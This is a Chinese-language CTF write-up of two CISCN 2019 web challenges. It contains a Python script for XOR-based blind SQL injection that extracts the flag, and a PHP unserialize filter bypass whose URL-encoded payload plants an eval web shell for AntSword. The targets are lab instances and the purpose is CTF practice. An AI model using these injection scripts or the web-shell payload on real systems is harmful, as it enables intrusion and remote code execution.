[CISCN2019 华北赛区 Day2 Web1]Hack World

该题考点为异或盲注,这个知识点我一直没搞懂,卑鄙的我偷了大佬的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests
import time

url = "http://8fd60f6b-39d6-4e9d-b956-59df4445828c.node3.buuoj.cn/index.php"
payload = {
"id" : ""
}
result = ""
for i in range(1,100):
l = 33
r =130
mid = (l+r)>>1
while(l<r):
payload["id"] = "0^" + "(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i,mid)
html = requests.post(url,data=payload)
print(payload)
if "Hello" in html.text:
l = mid+1
else:
r = mid
mid = (l+r)>>1
if(chr(mid)==" "):
break
result = result + chr(mid)
print(result)
print("flag: " ,result)

[2019CISCN华中赛区线下赛] WEB1

打开靶机,点击Link Start,直接得到源码,进行代码审计。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
// ini_set("display_errors", "On");
// error_reporting(E_ALL | E_STRICT);
class BlogLog {
public $log_ = '/tmp/web_log';
public $content = '[access] %s';

public function __construct($data=null) {
$temp = $this->init($data);
$this->render($temp);
}

public function init($data) {
// No, you can't control an object anymore!
$format = '/O:\d:/';
$flag = true;
$flag = $flag && substr($data, 0, 2) !== 'O:';
$flag = $flag && (!preg_match($format, $data));
if ($flag){
return unserialize($data);
}
return [];
}

public function createLog($filename=null, $content=null) {
if ($this->log_ != null)
$filename = $this->log_;
if ($this->content != null)
$content = $this->content;
file_put_contents($filename, $content);
}

public function render($k) {
echo sprintf($this->content, $k['name']);
}

public function __destruct() {
$this->createLog();
}
}

$data = "";
if (isset($_GET['data'])){
$data = $_GET['data'];
new BlogLog($data);
}
else
highlight_file(__FILE__);

审计发现传入的数据不能以O;开头,且O:后面不能有数字。
不能以O:开头就用数组反序列化,把类放在数组内。至于正则的绕过用+号绕过。
直接在本地用PHP代码进行反序列化:

1
2
3
4
5
6
7
8
9
<?php
class BlogLog {
public $log_ = './abc.php';
public $content = '<?php @eval($_POST["password"]);?>';
}

$a = new BlogLog();
$a = array($a);
echo serialize($a);

得到payload:

a:1:{i:0;O:7:”BlogLog”:2:{s:4:”log_”;s:9:”./abc.php”;s:7:”content”;s:34:”“;}}

因为要用+绕过正则,所以在O:后加上+:

a:1:{i:0;O:+7:”BlogLog”:2:{s:4:”log_”;s:9:”./abc.php”;s:7:”content”;s:34:”“;}}

Send了一下发现蚁剑无法连接,后来对URL进行编码,连接成功了。
最终payload为:

game.php?data=a%3a1%3a%7bi%3a0%3bO%3a%2b7%3a%22BlogLog%22%3a2%3a%7bs%3a4%3a%22log_%22%3bs%3a9%3a%22.%2fabc.php%22%3bs%3a7%3a%22content%22%3bs%3a34%3a%22%3c%3fphp+%40eval(%24_POST%5b%22password%22%5d)%3b%3f%3e%22%3b%7d%7d

复现时在这里卡了好久,最后发现URL给的是date而不是data,太粗心了…
上传之后会在目录下生成一个一句话木马,蚁剑连接便可得到flag。